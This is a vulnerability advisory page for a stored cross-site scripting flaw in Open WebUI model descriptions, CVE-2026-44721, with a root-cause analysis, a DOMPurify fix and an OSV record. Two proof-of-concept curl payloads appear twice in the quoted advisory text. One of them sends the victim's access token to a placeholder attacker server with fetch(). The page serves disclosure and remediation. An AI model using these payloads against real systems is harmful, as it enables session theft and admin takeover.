CVE-2026-44721: Open webui Cross-Site Scripting Vulnerability

HIGH
Advisory Identifier: GHSA-gf5m-wcrh-7928
CVSS 7.3
CWE-79
Published
Advisory Summary

CVE-2026-44721 is a HIGH (CVSS 7.3) cross-site scripting vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting Open webui libraries in the npm ecosystem. The issue involves open-webui vulnerable to stored xss via model description. Remediation is available by upgrading affected packages to version 0.9.0.

CVE-2026-44721 at a Glance

CVE Identifier CVE-2026-44721
GHSA Identifier GHSA-gf5m-wcrh-7928
Severity HIGH
CVSS v3.1 Base Score 7.3
CWE Classification CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Affected Product Open webui
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 7.3

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-44721

To remediate this vulnerability, upgrade all affected Open webui dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

open-webui fixed: 0.9.0
npm install open-webui@0.9.0
open-webui fixed: 0.9.0
pip install open-webui>=0.9.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls open-webui

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-44721, inspect your project dependencies using npm:

npm ls open-webui

Analyze the terminal output to locate any version of Open webui in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.9.0), your application is affected.

Note: The npm ls open-webui command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In Open webui, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

> [!IMPORTANT] > Relationship to CVE-2024-7990 > CVE-2024-7990 (issued by huntr.dev, March 2025) describes a stored XSS in the same field — the model description — but exploits a different bypass mechanism: a second-order injection through the sanitizeResponseContent function's video-tag placeholder restoration logic in v0.3.x. That bypass was closed in v0.4.0 by removing the video exemption from the sanitizer. The vulnerability described in this advisory is structurally distinct: a markdown-link payload with a javascript: URI passes through sanitizeResponseContent unchanged (no angle brackets), is then parsed by marked.parse() into an `<a href="javascript:...">` element, and rendered live by `{@html}`. This is a pipeline-ordering flaw where the dangerous construct is introduced after sanitization completes. Removing the video exemption has no effect on this primitive. Affected range: v0.3.5 through v0.8.12 inclusive. Fixed in: v0.9.0 (commit 5eab125, which wraps marked.parse() output in DOMPurify.sanitize). Both vulnerabilities are independently fixable under CVE rule 4.2.11. CVE assignment for this advisory has been requested separately on that basis. ### Summary This is a stored cross-site scripting (XSS) vulnerability that allows any authenticated user with model creation permission (workspace.models) to execute arbitrary JavaScript in the browser of any other user (including admins) who views the malicious model in the chat UI. ### Details Root Cause: Model descriptions are rendered in two Svelte components via this chain: `sanitizeResponseContent(description) → .replaceAll('\n', '<br>') → marked.parse() → {@html ...}` The model description is stored in the database without prior sanitization. Then uses this sanitization function before applying the results to the description. `index.ts:82-92` ```ts export const sanitizeResponseContent = (content: string) => { return content .replace(/<\|[a-z]*$/, '') // strip incomplete <|tokens .replace(/<\|[a-z]+\|$/, '') // strip incomplete <|token| .replace(/<$/, '') // strip trailing < .replaceAll('<', '&lt;') // escape < to &lt; .replaceAll('>', '&gt;') // escape > to &gt; .replaceAll(/<\|[a-z]+\|>/g, ' ') // strip <|token|> patterns .trim(); }; ``` This function was designed to sanitize HTML tags, but does not take into consideration that XSS can be triggered via `javascript:` which is the fundamental issue. `.replaceAll('\n', '<br>')` will replace newlines with `<br>` tags, and since payload can be written without newlines, its unaffected. `marked` sees `[text](url)` and generated an anchor tag and does not block the payload of `javascript:`. Svelte's `{@html}` directive inserts raw HTML into the DOM without escaping, creating the vulnerability. Affected files: `src/lib/components/chat/Placeholder.svelte` (lines 177–181) `src/lib/components/chat/ChatPlaceholder.svelte` (lines 99–103) ### PoC Below is a simple PoC that will create a model with a description to trigger an alert when pressing on the hyperlink. Replace the values inside such as HOST and TOKEN with your own values using your own test server. Step 1 - Create a model with a malicious description. The token used must be from an account with either the following. A. Admin privileges B. An account with model creation permission ```bash curl -X POST 'http://<HOST>/api/v1/models/create' \ -H 'Authorization: Bearer <TOKEN>' \ -H 'Content-Type: application/json' \ -d '{ "id": "xss-test", "name": "Helpful Assistant!", "base_model_id": "llama3", "meta": { "description": "A helpful AI assistant. [Click here for docs](javascript:alert())" }, "params": {} }' ``` Any authenticated user with workspace.models permission can execute this. The base_model_id should reference any model available on the instance. Step 2 - Select the model: Login and select the created model, if you followed the PoC it will be Helpful Asisstant! <img width="1203" height="718" alt="image" src="https://github.com/user-attachments/assets/d649c727-276c-4011-8234-140c51a32b68" /> Step 3 - XSS Triggers: Click on the hyperlink and watch the alert trigger. <img width="1203" height="718" alt="image" src="https://github.com/user-attachments/assets/289fc3d4-e09a-45a4-b83d-40984d47a760" /> **Below is a PoC that steals the access token from localstorage** Step 1 - Setup a local python HTTPServer `python3 -m http.sever 8080` Step 2 - Create a model with a malicious payload to steal the token from localstorage ```bash curl -X POST 'http://<HOST>/api/v1/models/create' \ -H 'Authorization: Bearer <TOKEN>' \ -H 'Content-Type: application/json' \ -d '{ "id": "xss-model", "name": "Token Stealer", "base_model_id": "llama3", "meta": { "description": "Advanced research model. [View benchmarks](javascript:void(fetch(`http://<MALICIOUS_SERVER_IP>:8080/?t=${localStorage.token}`)))" }, "params": {} }' ``` Step 3 - Navigate to the malicious model and click on the hyperlink Check on the local server you have set up in Step 1 and see that the token is returned within the URL. <img width="669" height="50" alt="image" src="https://github.com/user-attachments/assets/7933e855-cc0a-40f5-a443-5c0363b1b8fa" /> ### Impact As user's session is stored in LocalStorage, attacker can craft a malicious payload that reads the contents and sends it to their malicious server. Once an admin access token has been stolen, users can create a new tool to execute arbitrary code (feature of Open-WebUI). Attack Scenario ``` 1. Attacker creates a model with a malicious description 2. Victim selects model and clicks the hyperlink 3. Victim authorization token is stolen ``` This vulnerability affects all Open-WebUI users. ### Remediation Recommended fix — wrap `marked.parse()` output with `DOMPurify.sanitize()`. In the affected files, change ```ts {@html marked.parse( sanitizeResponseContent(description).replaceAll('\n', '<br>') )} ``` into ```ts {@html DOMPurify.sanitize( marked.parse( sanitizeResponseContent(description).replaceAll('\n', '<br>') ) )} ``` This matches the pattern already used in other parts of the application such as but not limiting to `ConfirmDialog.svelte:130` and `NotebookView.svelte:77`. DOMPurify will handle the stripping of `javascript:` URIs, event handlers and other dangerous HTML by default. ### AI Disclosure Claude was used to assist in: Systematic codebase searching to identify unsanitized `{@html}` rendering paths Verifying `marked@9.1.6` behavior with `javascript:` URIs ## Credits Lin, WeiChi from Sompo Holdings, Inc.

CVE-2026-44721 Affected Open webui Versions

2 component(s)
Fixed Versions:
0.9.0
Product / Package Ecosystem Affected Versions Fixed Version
open-webui
npm
< 0.9.0
0.9.0
open-webui
PyPI
< 0.9.0
0.9.0

References

Frequently Asked Questions

What is CVE-2026-44721?
CVE-2026-44721 is a security vulnerability in Open webui involving open-webui Vulnerable to Stored XSS via Model Description under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
Which Open webui versions are affected?
Affected versions include releases prior to 0.9.0 across affected packages: open-webui.
What version fixes CVE-2026-44721?
Upgrading to 0.9.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is open-webui affected?
Yes, open-webui is affected in releases prior to 0.9.0. Upgrade your dependency to 0.9.0 or later.
What is the CVSS score of CVE-2026-44721?
CVE-2026-44721 has a CVSS v3.1 base score of 7.3 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N.
What CWE is associated with CVE-2026-44721?
CVE-2026-44721 is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.).
How can I check npm dependencies for CVE-2026-44721?
Run the dependency tree command: 'npm ls open-webui'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-gf5m-wcrh-7928",
  "modified" : "2026-05-15T23:52:06Z",
  "published" : "2026-05-08T19:00:28Z",
  "aliases" : [ "CVE-2026-44721" ],
  "summary" : "open-webui Vulnerable to Stored XSS via Model Description",
  "details" : "> [!IMPORTANT]\n>  Relationship to CVE-2024-7990\n\n> CVE-2024-7990 (issued by huntr.dev, March 2025) describes a stored XSS in the same field — the model description — but exploits a different bypass mechanism: a second-order injection through the sanitizeResponseContent function's video-tag placeholder restoration logic in v0.3.x. That bypass was closed in v0.4.0 by removing the video exemption from the sanitizer.\n\nThe vulnerability described in this advisory is structurally distinct: a markdown-link payload with a javascript: URI passes through sanitizeResponseContent unchanged (no angle brackets), is then parsed by marked.parse() into an `<a href=\"javascript:...\">` element, and rendered live by `{@html}`. This is a pipeline-ordering flaw where the dangerous construct is introduced after sanitization completes. Removing the video exemption has no effect on this primitive.\n\nAffected range: v0.3.5 through v0.8.12 inclusive. Fixed in: v0.9.0 (commit 5eab125, which wraps marked.parse() output in DOMPurify.sanitize).\n\nBoth vulnerabilities are independently fixable under CVE rule 4.2.11. CVE assignment for this advisory has been requested separately on that basis.\n\n### Summary\n\nThis is a stored cross-site scripting (XSS) vulnerability that allows any authenticated user with model creation permission (workspace.models) to execute arbitrary JavaScript in the browser of any other user (including admins) who views the malicious model in the chat UI.\n\n### Details\n\nRoot Cause:\nModel descriptions are rendered in two Svelte components via this chain:\n`sanitizeResponseContent(description)  →  .replaceAll('\\n', '<br>')  →  marked.parse()  →  {@html ...}`\n\nThe model description is stored in the database without prior sanitization. Then uses this sanitization function before applying the results to the description.\n\n`index.ts:82-92`\n```ts\nexport const sanitizeResponseContent = (content: string) => {\n    return content\n        .replace(/<\\|[a-z]*$/, '')       // strip incomplete <|tokens\n        .replace(/<\\|[a-z]+\\|$/, '')     // strip incomplete <|token| \n        .replace(/<$/, '')               // strip trailing <\n        .replaceAll('<', '&lt;')         // escape < to &lt;\n        .replaceAll('>', '&gt;')         // escape > to &gt;\n        .replaceAll(/<\\|[a-z]+\\|>/g, ' ') // strip <|token|> patterns\n        .trim();\n};\n```\nThis function was designed to sanitize HTML tags, but does not take into consideration that XSS can be triggered via `javascript:` which is the fundamental issue.\n\n`.replaceAll('\\n', '<br>')` will replace newlines with `<br>` tags, and since payload can be written without newlines, its unaffected.\n\n`marked` sees `[text](url)` and generated an anchor tag and does not block the payload of `javascript:`.\n\nSvelte's `{@html}` directive inserts raw HTML into the DOM without escaping, creating the vulnerability.\n\nAffected files:\n`src/lib/components/chat/Placeholder.svelte` (lines 177–181)\n`src/lib/components/chat/ChatPlaceholder.svelte` (lines 99–103)\n\n\n### PoC\n\nBelow is a simple PoC that will create a model with a description to trigger an alert when pressing on the hyperlink. Replace the values inside such as HOST and TOKEN with your own values using your own test server.\n\nStep 1 - Create a model with a malicious description. The token used must be from an account with either the following.\nA. Admin privileges\nB. An account with model creation permission\n\n```bash\ncurl -X POST 'http://<HOST>/api/v1/models/create' \\\n  -H 'Authorization: Bearer <TOKEN>' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\n    \"id\": \"xss-test\",\n    \"name\": \"Helpful Assistant!\",\n    \"base_model_id\": \"llama3\",\n    \"meta\": {\n      \"description\": \"A helpful AI assistant. [Click here for docs](javascript:alert())\"\n    },\n    \"params\": {}\n  }'\n```\nAny authenticated user with workspace.models permission can execute this. The base_model_id should reference any model available on the instance.\n\nStep 2 - Select the model:\n\nLogin and select the created model, if you followed the PoC it will be Helpful Asisstant!\n<img width=\"1203\" height=\"718\" alt=\"image\" src=\"https://github.com/user-attachments/assets/d649c727-276c-4011-8234-140c51a32b68\" />\n\nStep 3 - XSS Triggers:\n\nClick on the hyperlink and watch the alert trigger.\n<img width=\"1203\" height=\"718\" alt=\"image\" src=\"https://github.com/user-attachments/assets/289fc3d4-e09a-45a4-b83d-40984d47a760\" />\n\n**Below is a PoC that steals the access token from localstorage**\n\nStep 1 - Setup a local python HTTPServer\n\n`python3 -m http.sever 8080`\n\nStep 2 - Create a model with a malicious payload to steal the token from localstorage\n\n```bash\ncurl -X POST 'http://<HOST>/api/v1/models/create' \\\n  -H 'Authorization: Bearer <TOKEN>' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\n    \"id\": \"xss-model\",\n    \"name\": \"Token Stealer\",\n    \"base_model_id\": \"llama3\",\n    \"meta\": {\n      \"description\": \"Advanced research model. [View benchmarks](javascript:void(fetch(`http://<MALICIOUS_SERVER_IP>:8080/?t=${localStorage.token}`)))\"\n    },\n    \"params\": {}\n  }'\n```\nStep 3 - Navigate to the malicious model and click on the hyperlink\n\nCheck on the local server you have set up in Step 1 and see that the token is returned within the URL.\n<img width=\"669\" height=\"50\" alt=\"image\" src=\"https://github.com/user-attachments/assets/7933e855-cc0a-40f5-a443-5c0363b1b8fa\" /> \n\n\n### Impact\n\nAs user's session is stored in LocalStorage, attacker can craft a malicious payload that reads the contents and sends it to their malicious server. Once an admin access token has been stolen, users can create a new tool to execute arbitrary code (feature of Open-WebUI).\n\nAttack Scenario \n```\n1. Attacker creates a model with a malicious description\n2. Victim selects model and clicks the hyperlink\n3. Victim authorization token is stolen\n```\nThis vulnerability affects all Open-WebUI users.\n\n### Remediation\n\nRecommended fix — wrap `marked.parse()` output with `DOMPurify.sanitize()`.\n\nIn the affected files, change\n\n```ts\n{@html marked.parse(\n    sanitizeResponseContent(description).replaceAll('\\n', '<br>')\n)}\n```\n\ninto\n\n```ts\n{@html DOMPurify.sanitize(\n    marked.parse(\n        sanitizeResponseContent(description).replaceAll('\\n', '<br>')\n    )\n)}\n```\nThis matches the pattern already used in other parts of the application such as but not limiting to `ConfirmDialog.svelte:130` and `NotebookView.svelte:77`. DOMPurify will handle the stripping of `javascript:` URIs, event handlers and other dangerous HTML by default.\n\n### AI Disclosure\n\nClaude was used to assist in:\n\nSystematic codebase searching to identify unsanitized `{@html}` rendering paths\nVerifying `marked@9.1.6` behavior with `javascript:` URIs\n\n## Credits\n\nLin, WeiChi from Sompo Holdings, Inc.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "open-webui"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.9.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.8.12"
    }
  }, {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "open-webui"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.9.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.8.12"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/open-webui/open-webui/security/advisories/GHSA-gf5m-wcrh-7928"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-44721"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/open-webui/open-webui"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-08T19:00:28Z",
    "nvd_published_at" : "2026-05-15T21:16:36Z"
  }
}